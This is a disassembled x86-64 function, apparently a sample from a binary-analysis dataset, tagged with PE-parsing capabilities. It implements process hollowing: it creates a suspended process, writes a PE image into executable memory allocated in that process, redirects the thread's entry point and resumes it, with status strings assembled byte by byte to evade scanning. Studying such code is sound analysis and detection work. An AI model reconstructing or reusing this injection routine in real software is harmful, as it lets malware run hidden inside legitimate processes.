Function at 0x1400591e0
Capabilities:
Enumerate pe sections
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x248
mov qword [rsp + 0x180], 0xfffffffffffffffe
mov rax, qword [0x14008e0c0]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov byte [rsp + 0x60], 0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xc0], 0
call fcn.140055f70
mov dword [rsp + 0xf8], eax
mov byte [rsp + 0x61], 0
movzx eax, byte [rsp + 0x288]
test eax, eax
je 0x14005946c
lea rcx, [rsp + 0x200]
call fcn.140028420
nop
movzx r9d, byte [rsp + 0x280]
lea r8, [rsp + 0x200]
lea rdx, [rsp + 0xa0]
mov ecx, dword [rsp + 0xf8]
call fcn.140006270
movzx eax, al
test eax, eax
je 0x1400593ce
cmp qword [rsp + 0xa0], 0
je 0x1400593ce
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0x2000000
mov rcx, qword [rsp + 0xa0]
call fcn.1400161f0
test eax, eax
je 0x14005936b
xor r8d, r8d
mov rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0xd8]
call fcn.1400157f0
test eax, eax
je 0x14005930b
mov byte [rsp + 0x61], 1
jmp 0x140059369
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x70], 0x32
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x70], 0x31
mov eax, 1
imul rax, rax, 2
mov qword [rsp + 0x110], rax
cmp qword [rsp + 0x110], 3
jae 0x140059345
jmp 0x14005934a
call fcn.14003698c
mov rax, qword [rsp + 0x110]
mov byte [rsp + rax + 0x70], 0
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x268]
call fcn.14002ba40
jmp 0x1400593c9
mov eax, 1
imul rax, rax, 2
mov qword [rsp + 0x118], rax
cmp qword [rsp + 0x118], 3
jae 0x140059389
jmp 0x14005938e
call fcn.14003698c
mov rax, qword [rsp + 0x118]
mov byte [rsp + rax + 0x74], 0
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x74], 0x31
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x74], 0x31
lea rdx, [rsp + 0x74]
mov rcx, qword [rsp + 0x268]
call fcn.14002ba40
jmp 0x14005945f
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x8c], 0x5f
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x8c], 0x30
mov eax, 1
imul rax, rax, 3
mov qword [rsp + 0x120], rax
cmp qword [rsp + 0x120], 4
jae 0x14005940e
jmp 0x140059413
call fcn.14003698c
mov rax, qword [rsp + 0x120]
mov byte [rsp + rax + 0x8c], 0
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x8c], 0x31
lea rdx, [rsp + 0x8c]
mov rcx, qword [rsp + 0x268]
call fcn.14002ba40
lea rdx, [rsp + 0x200]
mov rcx, qword [rsp + 0x268]
call fcn.14002b900
nop
lea rcx, [rsp + 0x200]
call fcn.140026100
movzx eax, byte [rsp + 0x288]
test eax, eax
je 0x140059488
movzx eax, byte [rsp + 0x61]
test eax, eax
jne 0x140059488
xor al, al
jmp 0x140059e84
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x128]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x140059db5
mov rax, qword [rsp + 0x128]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x250]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
cmp dword [rax], 0x4550
jne 0x140059d49
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + 0x258]
call fcn.14005c940
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 4]
cmp eax, 0x14c
jne 0x14005950d
cmp dword [rsp + 0xb0], 0
jne 0x140059527
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 4]
cmp eax, 0x8664
jne 0x140059531
cmp dword [rsp + 0xb0], 6
je 0x140059531
movzx eax, byte [rsp + 0x60]
jmp 0x140059e84
mov edx, 0x18
lea rcx, [rsp + 0xe0]
call fcn.14002d460
mov edx, 0x68
lea rcx, [rsp + 0x190]
call fcn.14002d460
mov dword [rsp + 0x190], 0x68
mov dword [rsp + 0x1cc], 0x101
xor eax, eax
mov word [rsp + 0x1d0], ax
movzx eax, byte [rsp + 0x288]
test eax, eax
je 0x1400595f3
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x258]
mov rcx, qword [rsp + 0xc0]
call fcn.140016440
mov dword [rsp + 0xb4], eax
jmp 0x140059651
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x260]
mov rcx, qword [rsp + 0x258]
call fcn.14005cf40
mov dword [rsp + 0xb4], eax
cmp dword [rsp + 0xb4], 0
je 0x140059cdd
mov r9d, 4
mov r8d, 0x1000
mov edx, 0xc
xor ecx, ecx
call fcn.140015ff0
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov dword [rax + 0x30], 0x100002
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xe8]
call fcn.14005ce70
test eax, eax
je 0x140059c6e
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x100]
mov rdx, rax
mov rcx, qword [rsp + 0xe0]
call fcn.140020e70
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x90], 0x5f
mov eax, 1
imul rax, rax, 3
mov qword [rsp + 0x130], rax
cmp qword [rsp + 0x130], 4
jae 0x140059714
jmp 0x140059719
call fcn.14003698c
mov rax, qword [rsp + 0x130]
mov byte [rsp + rax + 0x90], 0
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x90], 0x77
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x90], 0x37
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x270]
call fcn.14002ba40
mov eax, dword [rsp + 0x100]
mov rcx, qword [rsp + 0x68]
cmp rax, qword [rcx + 0x30]
jne 0x140059829
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x228], 0x6f
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x228], 0x5f
mov eax, 1
imul rax, rax, 6
mov qword [rsp + 0x138], rax
cmp qword [rsp + 0x138], 7
jae 0x1400597b6
jmp 0x1400597bb
call fcn.14003698c
mov rax, qword [rsp + 0x138]
mov byte [rsp + rax + 0x228], 0
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x228], 0x67
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x228], 0x69
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x228], 0x6d
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x228], 0x6f
lea rdx, [rsp + 0x228]
mov rcx, qword [rsp + 0x270]
call fcn.14002ba40
jmp 0x1400598d7
mov eax, 1
imul rax, rax, 6
mov qword [rsp + 0x140], rax
cmp qword [rsp + 0x140], 7
jae 0x140059847
jmp 0x14005984c
call fcn.14003698c
mov rax, qword [rsp + 0x140]
mov byte [rsp + rax + 0x220], 0
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x220], 0x69
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x220], 0x66
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x220], 0x66
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x220], 0x6d
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x220], 0x5f
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x220], 0x67
lea rdx, [rsp + 0x220]
mov rcx, qword [rsp + 0x270]
call fcn.14002ba40
mov eax, dword [rsp + 0x100]
mov rcx, qword [rsp + 0x68]
cmp rax, qword [rcx + 0x30]
jne 0x140059a0b
mov rdx, qword [rsp + 0x100]
mov rcx, qword [rsp + 0xe0]
call fcn.14005d930
mov dword [rsp + 0x108], eax
cmp dword [rsp + 0x108], 0
jne 0x140059990
mov eax, 1
imul rax, rax, 3
mov qword [rsp + 0x148], rax
cmp qword [rsp + 0x148], 4
jae 0x140059931
jmp 0x140059936
call fcn.14003698c
mov rax, qword [rsp + 0x148]
mov byte [rsp + rax + 0x94], 0
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x94], 0x63
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x94], 0x73
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x94], 0x75
lea rdx, [rsp + 0x94]
mov rcx, qword [rsp + 0x270]
call fcn.14002ba40
jmp 0x140059a0b
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x98], 0x66
mov eax, 1
imul rax, rax, 3
mov qword [rsp + 0x150], rax
cmp qword [rsp + 0x150], 4
jae 0x1400599bf
jmp 0x1400599c4
call fcn.14003698c
mov rax, qword [rsp + 0x150]
mov byte [rsp + rax + 0x98], 0
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x98], 0x66
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x98], 0x66
lea rdx, [rsp + 0x98]
mov rcx, qword [rsp + 0x270]
call fcn.14002ba40
movzx eax, byte [rsp + 0x278]
test eax, eax
je 0x140059a24
mov dword [rsp + 0xb8], 0x40
jmp 0x140059a2f
mov dword [rsp + 0xb8], 4
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0xfc], eax
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x50]
mov ecx, dword [rsp + 0xfc]
mov dword [rsp + 0x20], ecx
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rsp + 0x68]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rsp + 0xe0]
call fcn.14001ffc0
mov qword [rsp + 0xd0], rax
cmp qword [rsp + 0xd0], 0
je 0x140059bff
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x250]
mov rdx, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xe0]
call fcn.140015aa0
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x68]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0xc8], rax
mov dword [rsp + 0x9c], 0
jmp 0x140059aef
mov eax, dword [rsp + 0x9c]
inc eax
mov dword [rsp + 0x9c], eax
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x9c], eax
jge 0x140059b73
mov rax, qword [rsp + 0xc8]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0xc8]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x250]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0xc8]
mov edx, dword [rdx + 0xc]
mov r8, qword [rsp + 0xd0]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0xe0]
call fcn.140015aa0
mov rax, qword [rsp + 0xc8]
add rax, 0x28
mov qword [rsp + 0xc8], rax
jmp 0x140059adf
mov rax, qword [rsp + 0x68]
add rax, 0x30
mov rcx, qword [rsp + 0xa8]
mov rcx, qword [rcx + 0x88]
add rcx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rax
mov rdx, rcx
mov rcx, qword [rsp + 0xe0]
call fcn.140015aa0
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0xd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa8]
mov qword [rcx + 0x80], rax
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xe8]
call fcn.140016d40
mov rcx, qword [rsp + 0xe8]
call fcn.140020f70
mov byte [rsp + 0x60], 1
jmp 0x140059c6c
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x78], 0x31
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x78], 0x38
mov eax, 1
imul rax, rax, 2
mov qword [rsp + 0x158], rax
cmp qword [rsp + 0x158], 3
jae 0x140059c39
jmp 0x140059c3e
call fcn.14003698c
mov rax, qword [rsp + 0x158]
mov byte [rsp + rax + 0x78], 0
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0x268]
call fcn.14002ba40
xor edx, edx
mov rcx, qword [rsp + 0xe0]
call fcn.14000cee0
jmp 0x140059cdb
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x7c], 0x31
mov eax, 1
imul rax, rax, 2
mov qword [rsp + 0x160], rax
cmp qword [rsp + 0x160], 3
jae 0x140059c9a
jmp 0x140059c9f
call fcn.14003698c
mov rax, qword [rsp + 0x160]
mov byte [rsp + rax + 0x7c], 0
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x7c], 0x37
lea rdx, [rsp + 0x7c]
mov rcx, qword [rsp + 0x268]
call fcn.14002ba40
xor edx, edx
mov rcx, qword [rsp + 0xe0]
call fcn.14000cee0
jmp 0x140059d47
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x80], 0x36
mov eax, 1
imul rax, rax, 2
mov qword [rsp + 0x168], rax
cmp qword [rsp + 0x168], 3
jae 0x140059d0c
jmp 0x140059d11
call fcn.14003698c
mov rax, qword [rsp + 0x168]
mov byte [rsp + rax + 0x80], 0
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x80], 0x31
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x268]
call fcn.14002ba40
jmp 0x140059db3
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x84], 0x31
mov eax, 1
imul rax, rax, 2
mov qword [rsp + 0x170], rax
cmp qword [rsp + 0x170], 3
jae 0x140059d78
jmp 0x140059d7d
call fcn.14003698c
mov rax, qword [rsp + 0x170]
mov byte [rsp + rax + 0x84], 0
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x84], 0x35
lea rdx, [rsp + 0x84]
mov rcx, qword [rsp + 0x268]
call fcn.14002ba40
jmp 0x140059e1f
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x88], 0x31
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x88], 0x34
mov eax, 1
imul rax, rax, 2
mov qword [rsp + 0x178], rax
cmp qword [rsp + 0x178], 3
jae 0x140059df5
jmp 0x140059dfa
call fcn.14003698c
mov rax, qword [rsp + 0x178]
mov byte [rsp + rax + 0x88], 0
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x268]
call fcn.14002ba40
cmp qword [rsp + 0xd8], 0
je 0x140059e37
mov rcx, qword [rsp + 0xd8]
call fcn.140016c70
cmp qword [rsp + 0xc0], 0
je 0x140059e5b
mov rcx, qword [rsp + 0xc0]
call fcn.140020750
mov qword [rsp + 0xc0], 0
cmp qword [rsp + 0xa0], 0
je 0x140059e7f
mov rcx, qword [rsp + 0xa0]
call fcn.140020750
mov qword [rsp + 0xa0], 0
movzx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140036bb0
add rsp, 0x248
ret